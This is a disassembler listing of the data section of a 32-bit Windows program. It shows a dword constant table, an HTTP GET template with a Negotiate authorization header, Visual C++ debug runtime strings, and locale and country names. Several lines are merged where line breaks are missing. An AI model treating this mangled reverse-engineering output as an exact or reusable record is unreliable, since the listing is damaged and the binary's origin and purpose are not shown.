		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4103B1+8Eo
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dbl_43E458	dq 7.2e1		; DATA XREF: sub_41017F+41r
dbl_43E460	dq 6.0			; DATA XREF: sub_41017F+16r
					; sub_4101EB+82r
dbl_43E468	dq 8.0			; DATA XREF: sub_4101EB+7Cr
dword_43E470	dd 0FFFFFFFFh						; sub_41081E+Br ...
dword_43E474	dd 2 dup(0)			dd 40900000h
dbl_43E480	dq 3.2768e4		; DATA XREF: sub_41AE1B+30r
dword_43E488	dd 6F6C6366h, 632E6573h, 0					; sub_41ECE0+25o
dword_43E494	dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch					; sub_423CE0+Do ...
dword_43E4A4	dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
					; DATA XREF: sub_41ECE0+1Co
					; sub_421F80+15o ...
		dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree		db 'Free',0             ; DATA XREF: .XComp0:off_44FEF0o
		align 8
dword_43E4D8	dd 0FFFFFFFFh, 0		dd offset sub_41EE7D
aErrorMemoryAll	db 'Error: memory allocation: bad memory block type.',0Ah,0
					; DATA XREF: sub_41EEE0:loc_41F04Ao
					; sub_41F350:loc_41F4D0o
		align 4
aInvalidAllocat	db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_41EEE0+11Bo
aS_26		db '%s',0               ; DATA XREF: sub_41EEE0+BCo
					; sub_41EEE0+16Fo ...
		align 10h
aClientHookAl_0	db 'Client hook allocation failure.',0Ah,0
					; DATA XREF: sub_41EEE0:loc_41EF97o
		align 4
aClientHookAllo	db 'Client hook allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_41EEE0+94o
		align 4
aDbgheap_c	db 'dbgheap.c',0        ; DATA XREF: sub_41EEE0+31o
					; sub_41F350+77o ...
		align 4
a_crtcheckmemor	db '_CrtCheckMemory()',0 ; DATA XREF: sub_41EEE0+25o
					; sub_41F350+6Bo ...
		align 10h
dword_43E5C0	dd 0FFFFFFFFh, 0		dd offset sub_41F323
a_pfirstblockPo	db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_41F350+499o
		align 4
a_plastblockPol	db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_41F350+445o
		align 4
aFreallocFreall	db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
					; DATA XREF: sub_41F350:loc_41F736o
		align 4
a_block_typePol	db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
					; DATA XREF: sub_41F350+277o
		align 4
aPoldblockNline	db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
					; DATA XREF: sub_41F350:loc_41F561o
		db 'REQ',0
		align 4
a_crtisvalidhea	db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_41F350+1B6o
					; sub_41F9E0+A8o ...
		align 10h
aAllocationTooL	db 'Allocation too large or negative: %u bytes.',0Ah,0
					; DATA XREF: sub_41F350+136o
		align 10h
aClientHookRe_0	db 'Client hook re-allocation failure.',0Ah,0
					; DATA XREF: sub_41F350:loc_41F44Fo
aClientHookReAl	db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
					; DATA XREF: sub_41F350+DCo
		align 10h
dword_43E770	dd 0FFFFFFFFh, 0		dd offset sub_41F903
		align 10h
dword_43E780	dd 0FFFFFFFFh, 0; ---------------------------------------------------------------------------
		retn	41F9h
; ---------------------------------------------------------------------------
		align 4
a_pfirstblockPh	db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41F9E0+35Do
		align 4
a_plastblockPhe	db '_pLastBlock == pHead',0 ; DATA XREF: sub_41F9E0+307o
		align 4
aPheadNblockuse	db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41F9E0+29Co
					; sub_41FDF0+133o
		align 4
aPheadNlineIgno	db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
					; DATA XREF: sub_41F9E0:loc_41FC04o
		align 4
aDamageAfterHsB	db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41F9E0+1E5o
					; sub_420130+265o
		align 4
aDamageBeforeHs	db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
					; DATA XREF: sub_41F9E0+17Fo
					; sub_420130+208o
		align 4
a_block_type_is	db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41F9E0+10Ao
					; sub_41FDF0+E2o ...
		align 4
aClientHookFree	db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41F9E0:loc_41FA4Do
		align 4
dword_43E8B8	dd 0FFFFFFFFh, 0		dd offset sub_41FF61
		align 8
dword_43E8C8	dd 0FFFFFFFFh, 0		dd offset sub_42005D
aMemoryCheckErr	db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
					; DATA XREF: sub_4200A0+54o
		align 10h
aHsLocatedAt0x0	db '%hs located at 0x%08X is %u bytes long.',0Ah,0
					; DATA XREF: sub_420130+33Ao
		align 4
aHsAllocatedAtF	db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_420130+307o
aDamageOnTopOfF	db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
					; DATA XREF: sub_420130+2BEo
		align 4
aDamaged	db 'DAMAGED',0          ; DATA XREF: sub_420130:loc_420304o
a_heapchkFail_3	db '_heapchk fails with unknown return value!',0Ah,0
					; DATA XREF: sub_420130:loc_42025Co
		align 4
a_heapchkFail_2	db '_heapchk fails with _HEAPBADPTR.',0Ah,0
					; DATA XREF: sub_420130:loc_420234o
		align 10h
a_heapchkFail_1	db '_heapchk fails with _HEAPBADEND.',0Ah,0
					; DATA XREF: sub_420130:loc_42020Co
		align 4
a_heapchkFail_0	db '_heapchk fails with _HEAPBADNODE.',0Ah,0
					; DATA XREF: sub_420130:loc_4201E4o
		align 4
a_heapchkFailsW	db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
					; DATA XREF: sub_420130:loc_4201B9o
		align 10h
dword_43EA50	dd 0FFFFFFFFh, 0		dd offset sub_4204A5
		align 10h
dword_43EA60	dd 0FFFFFFFFh, 0		dd offset sub_42059D
		align 10h
dword_43EA70	dd 0FFFFFFFFh, 0		dd offset sub_420846
aBadMemoryBlock	db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_420890+13Co
		align 10h
a_crtmemcheckpo	db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
					; DATA XREF: sub_420890:loc_4208B9o
dword_43EAC8	dd 0FFFFFFFFh, 0		dd offset sub_420A18
a_crtmemdiffere	db '_CrtMemDifference: NULL state pointer.',0Ah,0
					; DATA XREF: .XComp0:loc_420A62o
aObjectDumpComp	db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_420B70:loc_420E2Co
		align 4
aCrtBlockAt0x08	db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_420B70+271o
		align 4
aNormalBlockAt0	db 'normal block at 0x%08X, %u bytes long.',0Ah,0
					; DATA XREF: sub_420B70+214o
aClientBlockAt0	db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
					; DATA XREF: sub_420B70+1A9o
aLd		db '{%ld} ',0           ; DATA XREF: sub_420B70+15Ao
		align 4
aHsD		db '%hs(%d) : ',0       ; DATA XREF: sub_420B70+132o
		align 4
aFileErrorD	db '#File Error#(%d) : ',0 ; DATA XREF: sub_420B70+101o
aDumpingObjects	db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_420B70:loc_420BABo
dword_43EBE0	dd 0FFFFFFFFh, 0		dd offset sub_420E21
aDataSS		db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_420E70+ECo
a_2x		db '%.2X ',0            ; DATA XREF: sub_420E70+BFo
		align 4
aDetectedMemory	db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_420F90:loc_420FC4o
aTotalAllocatio	db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .XComp0:004210ADo
		align 4
aLargestNumberU	db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .XComp0:00421085o
		align 10h
aLdBytesInLdHsB	db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .XComp0:0042105Bo
		align 10h
aMode_t0	db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4212F0+95o
		align 4
aModeNull	db 'mode != NULL',0     ; DATA XREF: sub_4212F0+67o
					; sub_429EE0+4Fo
		align 4
aFile_t0	db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4212F0+3Do
		align 4
aFopen_c	db 'fopen.c',0          ; DATA XREF: sub_4212F0+18o
					; sub_4212F0+46o ...
aFileNull	db 'file != NULL',0     ; DATA XREF: sub_4212F0+Fo
		align 10h
aFormatNull	db 'format != NULL',0   ; DATA XREF: sub_4219C0+45o
					; sub_421B90+45o ...
		align 10h
aSprintf_c	db 'sprintf.c',0        ; DATA XREF: sub_4219C0+24o
					; sub_4219C0+4Eo ...
		align 4
aStringNull	db 'string != NULL',0   ; DATA XREF: sub_4219C0+1Bo
					; sub_421B90+1Bo ...
		align 4
aFprintf_c	db 'fprintf.c',0        ; DATA XREF: sub_421F80+1Eo
					; sub_421F80+48o
		align 4
aFgets_c	db 'fgets.c',0          ; DATA XREF: sub_4223D0+24o
					; sub_4223D0+4Eo
aVsprintf_c	db 'vsprintf.c',0       ; DATA XREF: sub_422920+1Eo
					; sub_422920+48o
		align 4
aSscanf_c	db 'sscanf.c',0         ; DATA XREF: sub_422E90+24o
					; sub_422E90+4Eo
		align 4
dbl_43ED28	dq 1.0			; DATA XREF: sub_422F50+99r
					; sub_423170+99r ...
dword_43ED30	dd 64676264h, 632E6C65h, 7070hdword_43ED3C	dd 78656E6Fh, 632E7469h, 0					; sub_423C90+8o
dword_43ED48	dd 65657366h, 632E6Bh					; sub_423D50+19o
dword_43ED50	dd 7473626Dh, 7363776Fh, 632Ehdword_43ED5C	dd 3D212073h, 4C554E20h, 4Ch, 0FFFFFFFFh, 424942h, 42495Dh
					; DATA XREF: sub_424620+29o
dword_43ED74	dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh
					; DATA XREF: sub_4249E0+31o
					; sub_4249E0+65o ...
		dd 64656C69h, 0
aError		db 'Error',0            ; DATA XREF: .XComp0:004501E8o
		align 4
aWarning	db 'Warning',0          ; DATA XREF: .XComp0:off_4501E4o
aSDS		db '%s(%d) : %s',0      ; DATA XREF: sub_424D20+1FFo
asc_43EDAC:				; DATA XREF: sub_424D20:loc_424EF6o
		dw 0Ah
		unicode	0, <>,0
asc_43EDB0:				; DATA XREF: sub_424D20+1C2o
		dw 0Dh
		unicode	0, <>,0
aAssertionFai_0	db 'Assertion failed!',0 ; DATA XREF: sub_424D20:loc_424E95o
		align 4
aAssertionFaile	db 'Assertion failed: ',0 ; DATA XREF: sub_424D20+169o
		align 4
a_crtdbgreportS	db '_CrtDbgReport: String too long or IO Error',0
					; DATA XREF: sub_424D20+149o
					; sub_424D20+21Co ...
		align 4
aSecondChanceAs	db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
					; DATA XREF: sub_424D20+E6o
		align 4
aWsprintfa	db 'wsprintfA',0        ; DATA XREF: sub_424D20+B6o
		align 4
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_424D20+9Co
					; sub_433100+16o
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_4250B0+2C2o
		align 4
aDebugSProgramS	db 'Debug %s!',0Ah      ; DATA XREF: sub_4250B0+28Co
		db 0Ah
		db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
		db 0Ah
		db '(Press Retry to debug the application)',0
		align 4
aModule		db 0Ah			; DATA XREF: sub_4250B0+221o
		db 'Module: ',0
		align 4
aFile		db 0Ah			; DATA XREF: sub_4250B0+1E1o
		db 'File: ',0
aLine		db 0Ah			; DATA XREF: sub_4250B0+1AAo
		db 'Line: ',0
asc_43EEE8	db 0Ah			; DATA XREF: sub_4250B0+173o
					; sub_432590+171o
		db 0Ah,0
		align 4
aExpression	db 'Expression: ',0     ; DATA XREF: sub_4250B0+153o
		align 4
dword_43EEFC	dd 0							; sub_4250B0:loc_4251E9o ...
aForInformation	db 0Ah			; DATA XREF: sub_4250B0+10Eo
		db 0Ah
		db 'For information on how your program can cause an assertion',0Ah
		db 'failure, see the Visual C++ documentation on asserts.',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4250B0+9Co
					; sub_4250B0+F4o ...
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4250B0+56o
					; sub_432590+EDo
		align 10h
aDbgrpt_c	db 'dbgrpt.c',0         ; DATA XREF: sub_4250B0+1Fo
		align 4
aSzusermessageN	db 'szUserMessage != NULL',0 ; DATA XREF: sub_4250B0+13o
		align 4
a_freebuf_c	db '_freebuf.c',0       ; DATA XREF: sub_4254F0+15o
		align 10h
aMlock_c	db 'mlock.c',0          ; DATA XREF: sub_425990+16o
dword_43EFC8	dd 0FFFFFFFFh, 0		dd offset sub_425C35
		dd 0FFFFFFFFh, 0
		dd offset sub_425CB7
dword_43EFE0	dd 0FFFFFFFFh, 0		dd offset sub_425DD1
		dd 0FFFFFFFFh, 0
; ---------------------------------------------------------------------------
		retf	425Eh
; ---------------------------------------------------------------------------
		align 4
dword_43EFF8	dd 0FFFFFFFFh, 0		dd offset sub_426108
		dd 0FFFFFFFFh, 0
		dd offset sub_42631F
dword_43F010	dd 0FFFFFFFFh, 0		dd offset sub_42645B
		dd 0FFFFFFFFh, 0
		dd offset sub_4264DD
dword_43F028	dd 0FFFFFFFFh, 0		dd offset sub_426592
		dd 0FFFFFFFFh, 0
		dd offset sub_4265D7
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_4293A0+B9o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_4293A0+5Ao
		align 10h
a_filbuf_c	db '_filbuf.c',0        ; DATA XREF: sub_429810+18o
		align 4
a_open_c	db '_open.c',0          ; DATA XREF: sub_429EE0+2Eo
					; sub_429EE0+58o ...
aFilenameNull	db 'filename != NULL',0 ; DATA XREF: sub_429EE0+25o
		align 4
aStream_c	db 'stream.c',0         ; DATA XREF: sub_42A270+C1o
		align 4
aInconsistentIo	db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
					; DATA XREF: sub_42A430+162o
		align 4
a_flsbuf_c	db '_flsbuf.c',0        ; DATA XREF: sub_42A430+18o
					; sub_42A430+16Eo
		align 10h
byte_43F0F0	db 6			; DATA XREF: sub_42A6B0+8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull_0:				; DATA XREF: .XComp0:off_452504o
		unicode	0, <(null)>,0
		align 4
aNull_1		db '(null)',0           ; DATA XREF: .XComp0:off_452500o
		align 4
aOutput_c	db 'output.c',0         ; DATA XREF: sub_42A6B0+122o
		align 10h
aCh_t0		db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_42A6B0+116o
		align 10h
aTidtable_c	db 'tidtable.c',0       ; DATA XREF: sub_42B550+23o
					; sub_42B630+29o
		align 4
a_sftbuf_c	db '_sftbuf.c',0        ; DATA XREF: sub_42C200+18o
					; sub_42C200+B2o ...
		align 4
aFlag0Flag1	db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_42C360+13o
		align 10h
aInput_c	db 'input.c',0          ; DATA XREF: sub_42C5E0+1Eo
					; sub_42C5E0+4Bo
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .XComp0:off_452784o
		align 10h
dbl_43F270	dq 0.0			; DATA XREF: sub_42E230+D7r
					; sub_42E230+11Ar ...
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_42EB80+1Ao
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_42EB80+6o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_42EE60:loc_42EED8o
		align 4
dword_43F2A8	dd 0FFFFFFFFh, 42F909h,	42F916h, 0dword_43F2B8	dd 0FFFFFFFFh, 0		dd offset sub_42FB3D
		align 8
		dd offset loc_42FAFE
		dd offset loc_42FB0B
dword_43F2D0	dd 0FFFFFFFFh, 42FE5Ch,	42FE62h, 0dword_43F2E0	dd 0FFFFFFFFh, 42FEDEh,	42FEEDh, 0dword_43F2F0	dd 0FFFFFFFFh, 0		dd offset sub_43001E
		dd 0
		dd offset loc_430000
		dd offset loc_430006
dword_43F308	dd 0FFFFFFFFh, 0; ---------------------------------------------------------------------------
		retf	4300h
; ---------------------------------------------------------------------------
		align 8
		dd offset loc_4300AC
		dd offset loc_4300B2
dword_43F320	dd 6C657466h, 632E6Ch, 545F434Ch, 454D49h, 4E5F434Ch, 52454D55h
					; DATA XREF: .XComp0:00430256o
					; sub_4302B0+18o ...
		dd 4349h, 4D5F434Ch, 54454E4Fh,	595241h, 435F434Ch, 45505954h
		dd 0
aLc_collate	db 'LC_COLLATE',0       ; DATA XREF: .XComp0:004529DCo
		align 10h
aLc_all		db 'LC_ALL',0           ; DATA XREF: .XComp0:off_4529D0o
		align 4
asc_43F368:				; DATA XREF: .XComp0:loc_430A13o
					; sub_430DF0+83o
		unicode	0, <;>,0
asc_43F36C	db '=;',0               ; DATA XREF: .XComp0:loc_430941o
		align 10h
aSetlocal_c	db 'setlocal.c',0       ; DATA XREF: sub_430C50+3Eo
					; sub_430DF0+1Bo
		align 4
asc_43F37C:				; DATA XREF: sub_430DF0+5Bo
		unicode	0, <=>,0
a___0		db '_.,',0              ; DATA XREF: sub_4310E0:loc_431152o
a__1:					; DATA XREF: sub_431240+50o
					; sub_436400:loc_4365FBo
		unicode	0, <.>,0
a__2:					; DATA XREF: sub_431240+25o
		unicode	0, <_>,0
dword_43F38C	dd 0							; sub_433870+58o ...
dword_43F390	dd 2 dup(0)						; sub_433870+35o ...
dword_43F398	dd 0FFFFFFFFh, 4313F6h,	4313FCh, 0FFFFFFFFh, 4314ECh, 4314F2h
					; DATA XREF: sub_4312B0+5o
dword_43F3B0	dd 65647473h, 2E70766Eh, 63h					; sub_4318F0+D0o
dword_43F3BC	dd 61647473h, 2E766772h, 63hdword_43F3C8	dd 6E655F61h, 632E76h					; sub_431F50+1C6o
dword_43F3D0	dd 6E696F69h, 632E7469h, 0					; sub_432170+106o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
		dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
		dd 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .XComp0:off_452ACCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_432590+1A4o
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_432590:loc_4326DAo
		db 0Ah
		db 'Program: ',0
		align 4
aWinsig_c	db 'winsig.c',0         ; DATA XREF: .XComp0:00432CB1o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_433100+5Fo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_433100:loc_43314Bo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_433100+2Ao
aOsfinfo_c	db 'osfinfo.c',0        ; DATA XREF: sub_4331C0+138o
		align 8
dword_43F6F8	dd 0FFFFFFFFh, 4339B4h,	4339BAhdword_43F704	dd 7465675Fh, 2E667562h, 63h					; sub_433A30+48o
dword_43F710	dd 6F74626Dh, 632E6377h, 0aMb_cur_max1Mb_	db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_434280+18o
		align 10h
aUngetc_c	db 'ungetc.c',0         ; DATA XREF: .XComp0:00434806o
					; sub_434860+16o
		align 4
aInittime_c	db 'inittime.c',0       ; DATA XREF: sub_435A80+13o
		align 4
aInitnum_c	db 'initnum.c',0        ; DATA XREF: sub_436400+1CFo
					; sub_436400+215o ...
		align 4
aInitmon_c	db 'initmon.c',0        ; DATA XREF: sub_436730+13o
		align 10h
aInitctyp_c	db 'initctyp.c',0       ; DATA XREF: sub_436B90+52o
					; sub_436B90+6Bo ...
		align 4
aParaguay	db 'Paraguay',0         ; DATA XREF: .XComp0:0045302Co
		align 4
aUruguay	db 'Uruguay',0          ; DATA XREF: .XComp0:00453000o
aChile		db 'Chile',0            ; DATA XREF: .XComp0:00452FD4o
		align 4
aEcuador	db 'Ecuador',0          ; DATA XREF: .XComp0:00452FA8o
aArgentina	db 'Argentina',0        ; DATA XREF: .XComp0:00452F7Co
		align 4
aPeru		db 'Peru',0             ; DATA XREF: .XComp0:00452F50o
		align 4
aColombia	db 'Colombia',0         ; DATA XREF: .XComp0:00452F24o
		align 10h
aVenezuela	db 'Venezuela',0        ; DATA XREF: .XComp0:00452EF8o
		align 4
aDominicanRepub	db 'Dominican Republic',0 ; DATA XREF: .XComp0:00452ECCo
		align 10h
aSouthAfrica	db 'South Africa',0     ; DATA XREF: .XComp0:00452EA0o
		align 10h
aPanama		db 'Panama',0           ; DATA XREF: .XComp0:00452E74o
		align 4
aLuxembourg	db 'Luxembourg',0       ; DATA XREF: .XComp0:00452E48o
		align 4
aCostaRica	db 'Costa Rica',0       ; DATA XREF: .XComp0:00452E1Co
		align 10h
aSwitzerland	db 'Switzerland',0      ; DATA XREF: .XComp0:00452DF0o
aGuatemala	db 'Guatemala',0        ; DATA XREF: .XComp0:00452DC4o
		align 4
aCanada		db 'Canada',0           ; DATA XREF: .XComp0:00452D98o
		align 10h
aSpanishModernS	db 'Spanish - Modern Sort',0 ; DATA XREF: .XComp0:00452D64o
		align 4
aAustralia	db 'Australia',0        ; DATA XREF: .XComp0:00452D40o
		align 4
aEnglish	db 'English',0          ; DATA XREF: .XComp0:00452D38o
					; .XComp0:00452E98o
aAustria	db 'Austria',0          ; DATA XREF: .XComp0:00452D14o
aGerman		db 'German',0           ; DATA XREF: .XComp0:00452D0Co
		align 4
aBelgium	db 'Belgium',0          ; DATA XREF: .XComp0:00452CE8o
aMexico		db 'Mexico',0           ; DATA XREF: .XComp0:00452CBCo
		align 4
aSpanish	db 'Spanish',0          ; DATA XREF: .XComp0:00452CB4o
					; .XComp0:00452DBCo ...
aBasque		db 'Basque',0           ; DATA XREF: .XComp0:00452C88o
		align 4
aSweden		db 'Sweden',0           ; DATA XREF: .XComp0:00452C64o
		align 4
aSwedish	db 'Swedish',0          ; DATA XREF: .XComp0:00452C5Co
aIceland	db 'Iceland',0          ; DATA XREF: .XComp0:00452C38o
aIcelandic	db 'Icelandic',0        ; DATA XREF: .XComp0:00452C30o
		align 10h
aFrance		db 'France',0           ; DATA XREF: .XComp0:00452C0Co
		align 4
aFrench		db 'French',0           ; DATA XREF: .XComp0:00452C04o
					; .XComp0:00452CE0o ...
		align 10h
aFinland	db 'Finland',0          ; DATA XREF: .XComp0:00452BE0o
aFinnish	db 'Finnish',0          ; DATA XREF: .XComp0:00452BD8o
aSpain		db 'Spain',0            ; DATA XREF: .XComp0:off_452BB4o
					; .XComp0:00452C90o ...
		align 4
aSpanishTraditi	db 'Spanish - Traditional Sort',0 ; DATA XREF: .XComp0:off_452BACo
		align 4
aUnitedStates	db 'united-states',0    ; DATA XREF: .XComp0:00453100o
		align 4
aUnitedKingdom	db 'united-kingdom',0   ; DATA XREF: .XComp0:004530F8o
		align 4
aTrinidadTobago	db 'trinidad & tobago',0 ; DATA XREF: .XComp0:004530E8o
		align 4
aSouthKorea	db 'south-korea',0      ; DATA XREF: .XComp0:004530E0o
aSouthAfrica_0	db 'south-africa',0     ; DATA XREF: .XComp0:004530D8o
		align 4
aSouthKorea_0	db 'south korea',0      ; DATA XREF: .XComp0:004530D0o
aSouthAfrica_1	db 'south africa',0     ; DATA XREF: .XComp0:004530C8o
		align 10h
aSlovak		db 'slovak',0           ; DATA XREF: .XComp0:004530C0o
		align 4
aPuertoRico	db 'puerto-rico',0      ; DATA XREF: .XComp0:004530B8o
aPrChina	db 'pr-china',0         ; DATA XREF: .XComp0:004530B0o
		align 10h
aPrChina_0	db 'pr china',0         ; DATA XREF: .XComp0:004530A8o
		align 4
aNz		db 'nz',0               ; DATA XREF: .XComp0:004530A0o
		align 10h
aNewZealand	db 'new-zealand',0      ; DATA XREF: .XComp0:00453098o
aHongKong	db 'hong-kong',0        ; DATA XREF: .XComp0:00453090o
		align 4
aHolland	db 'holland',0          ; DATA XREF: .XComp0:00453088o
aGreatBritain	db 'great britain',0    ; DATA XREF: .XComp0:00453080o
		align 10h
aEngland	db 'england',0          ; DATA XREF: .XComp0:00453078o
